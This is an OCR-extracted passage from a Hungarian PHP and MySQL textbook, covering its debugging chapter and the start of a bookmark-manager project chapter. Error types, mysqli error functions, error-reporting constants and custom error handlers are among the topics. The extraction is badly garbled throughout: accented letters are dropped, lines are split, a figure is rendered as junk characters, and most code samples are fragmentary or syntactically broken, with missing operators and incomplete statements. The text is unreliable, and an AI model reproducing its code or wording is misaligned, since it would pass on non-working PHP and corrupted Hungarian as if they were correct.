A PHP egyik erssge a jl hasznlhat hibazenerek, amelyekkel akkor tallkozunk, ha valami nem jl alakul. A PHP
hibazeneteibl ltalban kiderl, hogy mi csszorr flre, melyik fjlban trtnt a hiba, s melyik sorban ralljuk.
Egy tipikus hibazenet a kvetkezkppen nz ki:
Parse error:
parse error,
unexpected
'''
in
/home/book/public_html/php_es_mysql/26_fejezet/error.php on line
azaz:
380
26. fejezet
sorban
Mint lthat, megprblrunk egy karakterlncot tadni a date () fggvnynek, de vletlenl lemaradt a kezd idzjel,
amely a karakterlnc elejt lett volna hivatott jellni.
Az ehhez hasonl, egyszer szintaktikai hibkat a legknnyebb megrallni. Jellegben hasonl, de nehezebben megrallhat
hibt kvetnk el, ha elfelejtjk lezrni a karakterlncot, ahogy tettk azt az albbi pldban:
<?php
$date = date('m.d.y);
?>
unexpected $end in
azaz:
rtelmezsi hiba: rtelmezsi hiba,
sorban
Az olyan hibk, amikor megnyirunk valamit, majd elfelejtjk lezrni, gyakran gy jelentkeznek, s ilyen hibazenetet ered
mnyeznek. Egyszeres s ktszeres idzjelek, illetve a zrjelek klnbz forminak (kapcsos, szgletes) hasznlata esetn
kvethetjk el ezt a hibatpust.
A kvetkez kd hasonl szimaktikai hibt generl:
<?php
if (igaz)
Az ilyen hibkat abban az esetben, ha tbb fjl kombincijbl addnak, nem egyszer megtallni. Akkor is nehz hely
zetbe kerlhetnk, ha egyetlen, de j nagy mret fjlban fordulnak el. Egy ezersoros fjl esetn kapott parse error on
line 1001, azaz"rtelmezsi hiba az 1001. sorban" zenet akr egy egsz napunkat tnkre tudja tenni- de legalbb finom
clzst kapunk arra vonatkozan, hogy modulrisabb felpts kdot kellene rnunk.
Mindezek ellenre a szintaktikai a legknnyebben megrallhat hibatpus. Ha szintaktikai hibt kvetnk el, s megprbl
juk futtatni a kdblokkot, a PHP hibazenetben kzli, hogy hol talljuk a hibt.
Futsidej hibk
A futsidej hibkat szlelni s kijavtani is kemnyebb di. Lehet, hogy kdunk szintaktikai hibt tartalmaz, de az is lehet,
hogy nem. Elbbi esetn az rtelmez a kd futtatsakor szlelni fogja azt. A futsidej hibkat nem kizrlag kdunk tartal
ma okozza, kvetkezhetnek kdunk s ms esemnyek vagy krlmnyek klcsnhatsbL
A
require ('fajlnev.php');
26
kapunk:
Fatal error:
main()
(include_path='.:/usr/local/lib/php') in
/home/book/public_html/php_es_mysql/26_fejezet/error.php on line l
azaz
Vgzetes hiba: main()
(include_path='.:/usr/local/lib/php') a
/home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.
sorban
Annak ellenre, hogy ez a kd hibtlan, futsidej hibt eredmnyezhet, mert mkdshez olyan fjl szksges, amely nem
biztos, hogy a kd futtatsakor elrhet.
Hibakeress
381
A kvetkez hrom urasrs mindegyike helyes s rtelmes PHP utasts. Egytt azonban, sajnos, a leheterlent - a nullval
osztst - ksrlik meg:
$i
$j
$k
10;
0;
$i/$j;
Division by zero in
/home/book/public_html/php_es_mysql/26_fejezet/divO.php on line 3
azaz
Figyelmeztets:
Nullval oszts a
sorban
Ez a figyelmeztets nagyon egyszerv teszi a hiba kijavtst. Nagyon kevesen rnak szndkosan olyan kdot, amely null
val prbl meg osztani, de a felhasznli bevitel ellenrzsnek elmulasztsa gyakran eredmnyezher ilyen tpus hibt.
A kvetkez kd ugyanezt a hibt eredmnyezi, m azt sokkal nehezebb krlhatrolni s kijavtani, mert csak egyes esetek
ben kvetkezik be:
$i
10;
$k
$i/$_REQUEST['input'];
Ez egyike a szmtalan, klnbz, futsidej hibnak, amellyel kdunk tesztelse sorn tallkozhatunk.
Az albbiakat tekinthetjk a futsidej hibk leggyakoribb oknak:
Nem ltez fggvnyek hvsa
Fjlok olvassa vagy rsa
MySQL-hez vagy egyb adarbzishoz csatlakozs
Hlzati szolglratsok elrse
Beviteli adatok ellenrzsnek elmulasztsa
A kvetkez oldalakon rviden tnzzk ezeker a hibaforrsokar.
vagy
elgeplt_fuggveny();
nonexistent_function()
in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l
azaz
Vgzetes hiba:
nemletezo_fuggveny()
a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.
az
sorban
A strstr () fggvny kr karakterlncot vr paramterknt: a keress helyt s a keresett szrringet. Ha azonban a kvetke
z formban hvjuk meg:
26
strstr();
/home/book/public_html/php_es_mysql/26_fejezet/error.php on line l
azaz
Figyelmeztets:
Nem megfelel
szm paramter() a
==
4)
sorban
382
26. fejezet
strstr();
?>
Azt a taln ritka esetet leszmtva, amikor a $var vltoz rtke 4, a strstr () fuggvny nem lesz meghvva, gy figyel
meztetst sem kapunk. A PHP rtelmez nem vesztegeti az idejt a kd aktulis futtatshoz nem szksges kdrszek rtel
mezsre. Pontosan az ilyen esetek miatt kell gondoskodnunk az alapos tesztelsrl!
A fuggvnyeket igen knny hibsan meghvni, de mivel az ekkor kapott hibazenetek egyrtelmen beazonostjk a probl
mt okoz sort s fuggvnyhvst, ugyanilyen knnyedn orvosolhatjuk is a hibt. Kizrlag abban az esetben okoz nehzsget
a hiba megrallsa, ha elgrelen volt a tesztels, nem teszteltk az sszes, felttelesen vgrehajtand kdot. A tesztels egyik
clja minden egyes kdsor legalbb egyszeri futtatsa kell, hogy legyen. Msik clunk pedig a beviteli adatok minden peremfel
ttelnek s tpusnak tesztelse legyen!
azaz
hamis visz
[function.mysqli-connect]:
Can't connect
mysqli connect()
[function.mysqli-connect]:
Unknown MySQL
mysqli_connect()
[function.mysqli-connect]:
Access denied
YES)
azaz
Figyelmeztets:
mysqli_connect()
[function.mysqli-connect]:
Nem sikerlt
mysqli_connect()
[function.mysqli-connect]:
Ismeretlen MySQL
[function.mysqli-connect]:
Hozzfrs megtagadva
mysql connect()
IGEN)
Nem meglep mdon a mysqli_connect() is false visszatrsi rtkkel jelzi a hiba elfordulst. Ez azt jelenti, hogy
egyszeren szlelhetjk s kezelhetjk az ilyen dpus, gyakori hibkat.
Ha nem szakrjuk meg a kd normlis futst, s nem kezeljk ezeket a hibkat, kdunk tovbbra is megprbl dolgozni az
adatbzissal. Ha mkd MySQL kapcsolat nlkl prblunk meg lekrdezseket futtatni s eredmnyekhez hozz:ijutni, lto
gatink hibazenetekkel teli kpernyt fognak ltni, ami vlheten nem oldalunk professzionlis voltt ersti bennk.
Sok ms, gyakran hasznlt, MySQL-lel kapcsolatos PHP fuggvny, gy a tbbi kztt a mysqli_query() is false visz
szarrsi rtkkel jelzi a hibt.
Ha hiba trtnik, a hibazenet szveghez a mysqli_error() fuggvnnyel frnk hozz, a mysqli_errno() fuggvny
pedig a hibakdot adja vissza. Amennyiben az utoljra hasznlt MySQL fuggvny nem okozott hibt, a mysqli _error ()
res karakterlncot, a mysql i_errno() pedig O-t ad vissza.
Tegyk fel pldul, hogy kapcsoldrunk a kiszolglhoz, s kivlasztottuk a hasznlni kivnt adatbzist! Ekkor
kdtredk:
az
albbi
Hibakeress
$eredmeny
mysqli_query($adatbazis,
'SELECT
383
FROM nem_letezik);
echo mysqli_errno($adatbazis);
echo '<br
/>';
echo mysqli_error($adatbazis);
'
'
'
Table dbname. nem letezik doesn t exist
'
'
(Az adatbazis_nev.nem_letezik nev tbla nem ltezik)
E kt fggvny kimenere a mysqli_error() s a mysqli_errno() fggvnytl eltr, utoljra lefutott MySQL fgg
vnyre utal. Ha parancs eredmnyrl szeretnnk meggyzdni, a tovbbi utastsok futtatsa eltt ne felejtsk ellenrizni azt!
A fjlkezelsi hibkhoz hasonlan adatbzis-kezelsi hibk is el fognak fordulni. Alkalmanknt a szolgltats fejlesztsnek
s tesztelsnek befejezse utn is azt tapasztaljuk, hogy a MySQL dmon (mysqld ) sszeomlott, vagy elfogytak a szabad
kapcsolatok. Amennyiben adatbzisunk fizikailag msik gpen fut, megintcsak olyan hardver- s szoftverkomponensekre
vagyunk knytelenek tmaszkodni, amelyek tnkremehetnek - mg egy hlzati kapcsolat, hlzati krtya, routerek stb. kelle
nek, hogy mkdjn a kapcsolat a webszervernk s az adatbzist futtat gp kztt.
Nem szabad elfeledkezni arrl, hogy rnieltt felhasznlnnk az adatbziskrsek eredmnyt, ellenrizzk, hogy egyltaln
sikeresen vgrehajtdrak-e ezek a krsek. Nincs rtelme megprblni lefuttatni egy lekrdezst, ha nem sikerlt csatlakozni az
adatbzishoz, s nincs rtelme megprblni feldolgozni a lekrdezs eredmnyeit, ha maga a lekrdezs nem sikerlt.
Fontos itt megemlteni a klnbsget a sikertelen lekrdezs s az eredmnytelen lekrdezs kztt. Az utbbi egyszeren
semmilyen adatot nem ad vissza, vagy egyetlen sort sem mdost.
Az olyan SQL lekrdezs, amely SQL szintaktikai hibkat tartalmaz, vagy nem ltez adatbzisokra, tblkra vagy oszlo
pokra hivatkozik, nem fog mkdni. A
SELECT
FROM nem_letezik;
azrt nem fog sikerlni, mert az adott nev tbla nem ltezik, s a mysqli_errno() s a mysqli_error () fggvnnyel
visszakereshet hibakdot s hibazenet fog generlni.
A szintakrikailag hibtlan s csak ltez adatbzisokra, tblkra s oszlopokra hivatkoz SQL lekrdezs ltalban sikeresen
lefut. Elfordulhat azonban, hogy nem ad vissza eredmnyt, pldul, ha res tblt krdeznk le, vagy nem ltez adarot kere
snk. Amennyiben sikeresen kapcsoldrunk egy adatbzishoz, amelynek ltezik t l tblja s cl nev oszlopa, a
SELECT
FROM tl
WHERE cl
'
'
nincs az adatbzisban ;
fsockopen('localhost',
5000 );
figyelmeztetst eredmnyez, ha a fggvnynek nem sikerl csatlakozni a localhost nev gp 5000-es portjhoz, de az ze
netet csak alaprtelmezett formjban jelenti meg. nem ad lehetsget kdunknak, hogy elegnsabban kezeljk a hibt.
Ha a fggvny meghvst a kvetkezkppen rjuk t:
$sp
@fsockopen ('localhost',
5000,
&$hibakod,
&$hibaszoveg );
if(!$sp)
echo "ERROR:
".$hibakod.":
".$hibaszoveg;
akkor elnyomjuk a beptett hibazenetet, a visszatrsi rtket ellenrizve ltjuk, hogy trtnt-e hiba, majd sajt kdunkat
hasznlva kezeljk a hibt. Az gy megrt kd a problma megoldst segt hibazenetet eredmnyez. Ebben a pldban a k
vetkez zenetet ltnnk megjelenni:
26
384
26.
fejezer
ERROR:
10035:
could not be
completed immediately.
azaz
HIBA:
10035:
Egy nem blokkol sacket miatt a mvelet nem hajthat vgre azonnal.
A futsidej hibkat nehezebb kikszblni, mint a szintaktikaiakat, mert az rtelmez nem kpes a hibkat a kd els
futtatsakor jelezni. Mivel a futsidej hibkat esemnyek valamilyen kombincija vltja ki, szlelni s megoldani is bonyolult
lehet ket. Az rtelmez nem tudja automatikusan megmondani, hogy egy adott sor hibt fog generlni. Ehhez tesztelskor
szimullnunk kell a hibt kivlt szirucir.
A futsidej hibk kezelse bizonyos mrrk elreltst ignyel: fel kell kszlni az esetlegesen elfordul hibarpusokra,
majd meg kell tenni az azoknak megfelel lpseket. Gondos tesztelsre van szksg ahhoz is, hogy a futsidej hibk minden
lehetsges tpust szimulljuk.
Ez egyltaln nem azt jelenti, hogy tesztelskor minden elkpzelhet hibt el kell lltanunk. A MySQL pldul krlbell
200 klnbz hibakddal s hibazenettel rendelkezik. A j esllyel hibt kivlt fggvnyhvsoknl kell szimullnunk a k
ln kdbiokkal kezelni kvnt hibatpusokat.
Gyakran lnk felttelezsekkel a felhasznlk ltal megadott beviteli adatokkal kapcsolatban. Ha egy adat valamirt nincs
sszhangban azzal, amire szmtottunk, hiba trtnhet, ami lehet futsidej vagy logikai hiba (errl az utbbi kategrirl
a kvetkez rszben esik majd sz).
A futsidej hiba klasszikus pldja akkor kvetkezik be, amikor felhasznl ltal bevitt adatokkal dolgozunk, de elfelejtjk
alkalmazni rjuk az addslashes ( ) fggvnyt. Ez azt jelenti, hogy ha az egyik felhasznlnknak aposztrfot tartalmaz neve
van, pldul O'Gradynek hvjk, akkor az adatbzisfggvnytl hibazenetet kapunk, amikor beszrsi utastsban egyszeres
idzjelek kztt hasznljuk a felhasznl ltal megadott nevet.
A beviteli adarokkal kapcsolatos felttelezseink miatti hibkat a kvetkez rszben rszletesebben is bemutatj uk.
Logikai hibk
A logikai a legnehezebben kereshet s kikszblhet hibatpus. Ilyen tpus hibk akkor kvetkeznek be, amikor a tklete
sen helyes kd pontosan azt teszi, amire utastottk, m a programoznak mgsem ez volt a szndka.
A logikai hibt okozhatja egyszer elgpels, mint pldul a kvetkez kdban:
for
($i =
echo
26
Ez a kdtredk teljesen szablyos, minden sorban megfelel a PHP szintakrikai szablyainak. Futtatshoz nincs szksg
kls szolgltatsokra, gy nem valszn, hogy futsidej problmba tkznnk. Csak nagyon les szemmel lehet szrevenni,
hogy ez a kd nem azt teszi, amit rnzsre gondolnnk, s amit a programoz szererett volna elrni.
gy tnik, hogy a kd tzszer vgigmegy a for cikluson, s minden egyes alkalommal kirja a"valami t csinl" szve
get. Az els sor vghez hozzadott, oda nem val pontosvessz miatt azonban a ciklusnak nincsen hatsa a kvetkez sorokra.
A for ciklus minden eredmny nlkl tzszer lefut, majd egyszer vgrehajtdik az echo utasts.
Mivel a kdtredk teljesen szablyos, s hibt nem tartalmaz, az rtelmez nem fog reklamlni, hogy a for ciklus ilyen
alkalmazsnak semmi rtelme sincsen. Bizonyos feladatokra nagyon jk a szmitgpek, jzan eszk s intelligencijuk
azonban nincsen. A komputer pontosan azt teszi, amit mondanak neki. A mi gondunk az, hogy pontosan azt mondjuk, amit
valban szeretnnk.
A logika hibkat nem a kd valamilyen kudarca okozza, hanem egyszeren a programoznak nem sikerl megrnia a sz
mtgpet utast kdot gy, hogy a gp pontosan azt tegye, amit elvr tle. Ebbl kvetkezik, hogy az ilyen hibkat nem lehet
automatikusan szlelni. Senki nem kzli velnk, hogy hiba trtnt, s senki monclja meg, hogy melyik sorban keressk a prob
lmt. A logikai hibkar csak megfelel tesztelssei lehet kiszrni.
Az elz trivilis pldhoz hasonl logikai hiba viszonylag knnyen elkvethet, ugyanakkor kijavtani sem sokkal
nehezebb, mert kdunk els futtatsakor a vrtrl eltr kimenetet fogunk ltni. A logika hibk tbbsge ennl valamivel
alattomosabb.
Az igazn problms logikai hibk ltalban a fejleszrk hibsnak bizonyul felttelezseibl kvetkeznek. Az elz, A PHP
s MySQL hasznlata nagyobb projektekben cm fejezetben azt ajnlottuk, hogy ms fejlesztket bevonva nzessk r kdun
kat, s krjk javaslatukat tovbbi tesztesetekre, illetve fejlesztk helyett a clkznsgbl krjnk fel tesztelket. Knnyen
Hibakeress
385
gondolhatjuk azt, hogy az emberek csak bizonyos tpus adatokat fognak berni, s ha mi magunk vgezzk a tesztelse, akkor
ezt a hibt taln soha nem fedezzk fel.
Tegyk fel, hogy egy zleti oldalon lv szvegdobozba a rendelsi mennyisget rhatja be a felhasznl! Felttelezzk, hogy
az
emberek csak pozitv rtkeket rhatnak be? Ha egy ltogat -10-et r be, akkor szaftvernk jvrja bankszmljn a szban
a hibakeresst
<?php
-->\n";
"
"
-->\n";
if(is_array($tomb))
$meret
count($tomb);
$string = "";
if($meret)
26
386
26. fejezet
$szamlalo = 0;
$string
. = "l
";
$string .=$var."
".$ertek;
$string
.=
"
"
'
) ";
return $string;
else
ll ha nem tmb,
return $tomb;
?>
A fenti kd
az
oldalnak radott vltozk ngy tmbjt jelenti meg. Ha az oldalt GET vltozkkal, POST vltozkkal,
hat oldalelemeket megjelenti. A hibakeressi informcikat ily mdon rdemes ellltani. A hibakeressi informciknak
a 26.1 pldakdhoz hasonlan megjegyzsekbe rejtse lehetv teszi, hogy akr
az;
mazsunkban hagyjuk a hibakeres kdot. A tomb _ kiiratasa () fggvnyt a print_r () trdelfggvnyeknt (wrapper)
hasznlruk. A tomb_kiiratasa () fggvny egyszeren vdkarakterrel ltja el a HTML megjegyzs zr karaktereit.
A konkrt kimenet az; oldalnak radott vltozktl fgg, de arnikor a 23. fejezet 23.4 pldakdjhoz hozz;adtuk,
-->
<!-- POST VLTOZK
--
>
<1-- Array
[felhasznaloi_nev]
[jelszo]
=>
jelsze
-->
26
-->
<!-- COOKIE VLTOZK -->
<!-- Array
[PHPSESSID]
=> b2b5f56fad986dd73af33f470f3cl865
az;
albbi
Hibakeress
387
-->
<!--
POST
vltozkat:
Ahogy arrl a 23. fejezetben sz volt, a PHP stik segtsgvel kapcsolja a munkamenet-vltozkat az adott fel
hasznlkhoz. A kd kirja a PHPSESSIO pszeud vleden szmot, ami a stiben, az adott felhasznl azonostsa rdekben
troldik el.
Hibajelentsi szintek
A PHP-nak megszabhatjuk, mennyire legyen akadkoskod a hibkkal. Megadhatjuk, hogy milyen tpus esemnyek generl
janak hibazeneteket. Alaprtelmezsben a PHP az rtestseken (notice tpus figyelmeztetseken l kvl minden hibt jelez.
A hibajelentsi szintet a 26.1 tblzatban lthat, elre meghatrozott kanstansok segtsgvel llthatjuk be.
26.1 tbla:
Hibajelentsi llandk
Jelentse
rtk
Nv
E ERROR
E_WARNING
E PARSE
E NOTICE
Jelenti az rtestseket, amelyek kzlik, hogy valami, amit tettnk, hibs lehet.
16
E CORE ERROR
32
E CORE WARNING
64
E-COMPILE-ERROR
128
E-COMPILE-WARNING
256
E USER ERROR
512
E USER WARNING
1024
E USER NOTICE
6143
E ALL
2048
E STRICT
ben, de nagyon hasznos a kd-jratervezshez (code refactoring). Vltoztatsokat javasol az interoperabili ts rdekben.
4096
E RECOVERABLE ERROR
Mindegyik konstans jelenthet vagy figyelmen kvl hagyhat hibatpust jell. Ha pldul az E_ ERROR hibaszintet lltjuk
be, a PHP csak a vgzetes hibkat fogja jelenteni. Az llandkat binris aritmetikai mveletekkel kombinlva tovbbi hibaszin
teket rhetnk el.
Az alaprtelmezett hibaszintet, ami az rtestsek kivtelvel minden hibt jelent, a kvetkezkppen hatrozhatjuk meg:
E
ALL
&
-E NOTICE
Ez a kifejezs az elre meghatrozott llandk kzl kettt tartalmaz, s bitmveleti jelekkel kombinlja azokat. Az s jel
( & ) az S, a tilde ( - ) pedig a NEM bitmveleti jel. A kifejezs a kvetkezkppen olvasand: E_ALL
S NEM E_NOTICE.
Az E_ALL nmagban is az sszes tbbi hibatpus kombincija (az E_ STRICT kivtelvel). Egyenrtk azzal, ha az sz
szes tbbi szintet a VAGY bitmveleti jellel
E_ERROR
E_WARNING
E_COMPILE_ERROR
E_PARSE
( l ) kombinljuk:
E_NOTICE
IE_COMPILE_WARNING
E_CORE ERROR
E_USER_ERROR
E_CORE_WARNING
E USER_WARNING
USER NOTICE
E_WARNING
E COMPILE WARNING
E_PARSE
E_CORE_ERROR
E USER ERROR
E_CORE_WARNING
E USER WARNING
E_COMPILE_ERROR
E USER NOTICE
26
388
26. fejezet
E ALL
display_errors
On
log_errors
Off
track errors
Off
&
-E NOTICE
E_ STRICT
szintre. A mdosts azt eredmnyezi, hogy a PHP szmtalan rtestst megjelent az olyan esetekben, amelyek hibra uralhat
nak, vagy egyszeren csak abbl kvetkeznek, hogy a programoz kihasznlja a PHP gyengn tpusos jellegt. Illetve azt, hogy
automatikusan O rtkkel hozza ltre a vltozkat.
A hibakeress idejre hasznos lehet az error_reporting szint magasabbra lltsa. Ha sajt hibazenetekkel tjkoz
tatjuk a felhasznlt, akkor az lesben mkd alkalmazson kapcsoljuk ki a display_errors belltst, kapcsoljuk be
a log_errors-t, a hibajelentsi szintet pedig hagyjuk magasan! Ekkor brmilyen problma esetn a hibanaplkban talljuk
a rszletesen kifejtert hibkat.
A hibakvetssei kapcsolaros track_ errors bellts bekapcsolsa abban nyjthat segtsget, hogy sajt kdunkban fog
lalkozzunk a hibkkal, ne a PHP alaprtelmezett szolgltatsaira hagyatkozzunk. A PHP ugyan hasznos hibazeneteket ad,
alaprtelmezert mkdse azonban csnyn nzhet ki, ha a dolgok elromlanak.
Vgzetes hiba esetn a PHP az
<br>
<b>Error Type<lb>:
on line <b>lineNumber<lb><br>
(<b>Hiba tpusa<lb>:
hibazenet az <b>eleresi_utvonal/fajl.php</b>
szveget jelenti meg. s lelltja a kd futtatst. Nem vgzeres hibk esetn ugyanez a szveg jelenik meg. de a furtats foly
tatdhat.
Ez a HTML jl szrevehetv teszi a hibt, viszont nem nz ki tl meggyzen. A hibazenet stlusa a lehet legritkbb
esetben illik az oldal tbbi rsznek megjelenshez. Radsul akr azt is eredmnyezheti, hogy egyes felhasznlk egyltaln
nem ltnak az zenetbl semmit. Ez akkor fordulhat el, ha az oldal tartalma tblzaton bell jelenik meg. s bngszjk
szigoran veszi, hogy csak szablyos HTML-t jelentsen meg. Egyes bngszk res kpernyknt jelentik meg a tblzat
elemeit megnyit, de azokat be nem zr HTML-t, gy pldul a kvetkez kdot:
<table>
<tr><td>
<b r>
<b>Error Type<lb>:
on line <b>lineNumber<lb><br>
Nem kell ragaszkodnunk a PHP alaprtelmezett hibakezelshez, s nem szksges rninden fjlhoz ugyanazokat a be
26
lltsokat hasznlni. Ha csak az aktulisan hasznlt kdban szeretnnk megvltoztaeni a hibajelentsi szintet, az error_
reporting () fggvnyt meghvva tehetjk ezt meg.
Paramterknt hibajelentsi llandr vagy azok kombincijt tadva ugyangy llthatjuk be a hibajelentsi szintet, rnint
a php.ini ugyanilyen nev direktvjban. A fggvny visszatrsi rtke az elz hibajelentsi szint lesz. A fggvny hasz
nlatnak gyakori mdja a kvetkez:
ll hibajelents kikapcsolsa
$elozo_szint
error_reporting(O);
Hibakeress
389
Ez a kdrszlee kikapcsolja a hibajelentsr, gy olyan kdot is futtarharunk, amely egybknt j esllyel nem kivnt figyel
meztetseker generlna a kpernyre.
A hibajelents vgleges kikapcsolsa nem ajnlott, mert megnehezti a programozsi hibk felkutatsr s kijavtst.
E USER_WARNING);
Mivel a sa jat_hibakezelo() fggvny meghvsra utasrottuk a PHP-t, meg kell adnunk az ilyen nev fggvnyt. En
nek a fggvnynek az albbi a prototpusa:
sajat_hibakezelo(int hibatipus,
[,
string hibauzenet
[,
int hibas_sor
[,
array hibakornyezet]]]))
ll A hibakezel fggvny
function sajatHibaKezelo ($hlbatipus,
$hlbauzenet,
$hlbas_fajl,
$hibas_sor)
prblja UJra,
s tjkoztasson,
26
390
26. fejezet
l l
if (($hibatipus == E USER_ERROR)
echo
($hibatipus == E ERROR))
</td></tr></table>";
//nyitott erforrsok,
bezrsa
exit;
echo
ll
"</td></tr></table>";
A hibakezel belltsa
set error_handler('sajatHibaKezelo');
//klnbz szint
hibk kivltsa
E_USER_NOTICE);
'r');
E_USER_WARNING);
include ('nofile');
trigger_error('A szmtgp
nmagt',
E_USER_ERROR);
?>
az
az
tnjen. Folytatdjk a kd? Naplzzuk vagy megjelentsk a hibazenetet? Automatikusan riasszuk a mszaki tmogatst?
T-....'1.
.
l lo'-
""--
" __
l iiii\-r;;:.;..,)r.lodiOts- l"<>""ktklll
l6'-,n tijd;.- loQIYDill;a-..-
..,a-.
BJB.t:baW......,
..
K)llk.
tJI
"'*"
""F
""""
'
J
J
J
26.1 bra: Sajt hibakezel hasznlatval a PHP hibazeneteinl bartsgosabbakat adhatunk Jelhasznlinknak.
Fontos megjegyezni, hogy hibakezelnknek nem feladata mindenfle hibatpussal foglalkozni. Bizonyos hibk, gy az r
telmezsi s a vgzetes futsidej hibk tovbbra is az alaprtelmezett hibakezelsi mkdst fogjk kiknyszerteni. Ha sze
reennk ezt elkerlni, akkor mieltt tadnnk a paramtereket a vgzetes hibt kivltani kpes fggvnynek, gondoskodjunk
alapos ellenrzskrl, s vltsuk ki sajt E_USER_ERROR szint hibnkat, ha a paramterek hibt okoznak!
Vgezetl egy hasznos funkci: ha hibakezetnk explicit false rckkel tr vissza, a PHP beptett hibakezelje lesz meg
26
az
E_USER_*
Hogyan tovbb?
A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben elkezdjk els projektnket.
Megvizsgljuk, milyen mdszerrel azonosthag uk
szabni oldalunk tartalmr.
az
27
Felhasznli hitelests megvalstsa
s szemlyre szabott tartalom
megjelentse
Ebben a projektben rvesszk a felhasznlkat, hogy regisztrljanak weboldalunkon. Ha ezt megteszik, nyomon kvethetjk,
hogy mi rdekli ket, majd ennek megfelelen a szmukra rdekes tartalmat jelentjk meg. Vagyis nem tesznk mst, mint
a felhasznli ignyeknek megfelel, szemlyre szabott tartalmat knlunk ltogatinknak.
Projektnk lehetsget ad a felhasznlknak, hogy internetes knyvjelzk gyjtemnyt lltsk ssze, s a korbban elmen
rett hivatkozsaik alapjn vlheten ket rdekl tovbbi hivatkozsokat ajnlunk figyelmkbe. A szemlyre szabs szinte br
milyen webalap alkalmazsban lehetv teszi, hogy a felhasznlk ltal ignyelt tartalmat az ltaluk elvrt formban jelentsk
meg nekik.
Knyvnk V. rszben minden projektet, gy a jelenlegit is azzal kezdjk, hogy vgiggondoljuk a projekt kvetelmnyeit,
amelyek hasonlak azokhoz az elvrsokhoz, amiket valdi gyfeleink trnasztannak. Ezen kvetelmnyek alapjn megtervez
zk a megolds alkotelemeit s azok egymshoz val kapcsolatt, vgl pedig megvalstjuk az egyes komponenseket.
A jelenlegi projektben az albbi funkcikat kell ltrehozni:
Bejelentkezs s felhasznlk hitelestse
Jelszavak kezelse
Felhasznli preferencik feljegyzse
Tartalom szemlyre szabsa
Tartalom ajnlsa a felhasznlrl megszerzett informcik alapjn
A megolds alkotelemei
Projektnk sorn feladatunk egy online knyvjelzkezel rendszer prototpusnak elksztse lesz, amit nevezznk
PHPbookmarknak! Alkalmazsunk hasonl lesz a http://www.backRip.com oldalon elrhet BackRiphez, termszetesen
azonban annl korltozottabb funkcikat knl majd.
A rendszernek lehetv kell tennie a felhasznlknak a bejelentkezst s szemlyes knyvjelzik eltrolst, majd szemlyes
preferenciik alapjn ket rdekl tovbbi weboldalakat kell :Ynlania szmukra.
A megolds alkotelemei hrom fbb kategriba sorolhatk:
Be kell tudnunk azonostani az egyes felhasznlkat, illetve valamilyen mdszerrel hitelestennk is kell ket.
El kell tudnunk trolni az egyes felhasznlk knyvjelzi t. A felhasznlknak lehetv kell tenni, hogy knyvjelzket
vegyenek fel s trljenek.
Az alapjn, amit mr megtudtunk a felhasznlkrl, kpesnek kell lennnk ket rdekl weboldalakat ajnlani szmukra.
Most, hogy mr tisztban vagyunk a projekt lnyegvel, elkezdhetjk megtervezni a megoldst s annak alkotelemei t. Nz
zk meg az elbb emltett hrom f elvrs lehetsges megoldsait!
392
27. fejezet
knyvjelzk trolsa
A Felhasznlk knyvjelzinek is helyet kell adnunk MySQL adatbzisunkban. Az albbi funkcikat kell megvalstanunk:
A Felhasznlk visszakereshetik s megtekinehetik knyvjelziket.
A Felhasznlk j knyvjelzket adhatnak a meglvkhz. Az oldalnak ellenriznie kell, vajon rvnyes URL-eket adnak-e meg.
A Felhasznlk trilierik knyvjelziket.
Ezeket a lehetsgeket is fggvnyek megrsval fogjuk megteremteni.
Knyvjelzk ajnlsa
Tbbfle megkzeltst alkalmazhatunk arra, hogyan ajnljunk knyvjelzket a felhasznlknak. Figyelmkbe ajnlhatnnk
pldul a legnpszerbb vagy egy adott tmn bell legnpszerbb oldalakat. Ebben a projektben azonban azt a megoldst
vlasztj uk, hogy olyan felhasznlkat keresnk, akiknek a bejelentkezett felhasznlval egyez knyvjelzjk van, s ezeknek
a felhasznlknak a tovbbi knyvjelzit ajnljuk a bejelentkezett felhasznlnak. A szemlyes jelleg knyvjelzk tovbbajn
lsnak elkerlse rdekben csak olyan knyvjelzket fogunk ajnlani, amiket egynl tbb felhasznl trole el.
Ezt a funkcit is fggvnyrssal fogjuk megvalstani.
A megolds ttekintse
Firklgattunk egy kicsit a szalvtnkra, gy kaptuk a 27.1 brn lthat, a projektet brzol folyamatbrt.
27
27.1 bra: A
393
Az brn lthat mindegyik tglalaphoz egy-egy modult fejleszthetnk; van kztk, amelyikhez egy, van, amelyikhez kt
kdot kell rni. Az albbi terletekhez fggvnyknyvtrakat is ltrehozhatunk:
Felhasznli hitelests
Knyvjelzk trolsa s visszakeresse
Adatellenrzs
Adatbzishoz csatlakozs
Kimenet megjelentse bngszben. A teljes HTML-ellltst erre a fggvnyknyvtrra korltozzuk, hogy egysges
megjelentst adjunk a teljes oldalnak. (Ez a megkzelts ismt csak a mkds s a tartalom elklntst szolglja.)
A rendszerhez ezen kvl mg egy olyan adatbzist is ltre kell hozni, amely az adatok feldolgozst fogja vgezni.
A megoldst alkot kdokat nem teljes kren mutatjuk be, de az alkalmazs sszes kdja megcallhat
a
Fjlnv
Lers
konyvjelzok.sql
bejelentkezes.php
regisztracios_urlap.php
regisztracio_uj.php
Az j regisztrcikat feldolgoz kd
elfelejtett_urlap.php
elfelejtett_jelszo.php
tag.php
kj_hozzaadasa_urlap.php
kj_hozzaadasa.php
kj_torlese.php
ajanlas.php
jelszo_valtoztatas_urlap.php
jelszo_valtoztatas.php
kijelentkezes.php
konyvjelzo_fuggvenyek.php
adat_ellenorzo_fuggvenyek.php
adatbazis fuggvenyek.php
felhasznaloi_hitelesites_fuggvenyek.php
url fuggvenyek.php
kirneneti_fuggvenyek.php
konyvjelzo.gif
Legelszr is az alkalmazs MySQL adatbzist hozzuk ltre, mert erre gyakorlatilag minden ms funkci mkdshez
szksg lesz.
Ezt kveten abban a sorrendben haladunk a kddal, ahogy azt eredetileg megirtk, gy a nyitoldal utn kvetkezik a fel
hasznli hitelests, majd a knyvjelzk trolsa s visszakeresse, s legvgl azok ajnlsa. Ez a sorrend radsul viszonylag
logikus is; az egsz abbl addik, hogy vgiggondoljuk, hogyan plnek egymsra a komponensek, majd elszr azokat az ele
meket hozzuk ltre, amelyekre a ksbbi medulokhoz szksg lesz.
27
394
27.fezet
Az adatbzis ltrehozsa
A PHPbookmark adatbzis igen egyszer felptssel rendelkezik. El kell trolni a felhasznlkat, illetve azok e-mail cmt s
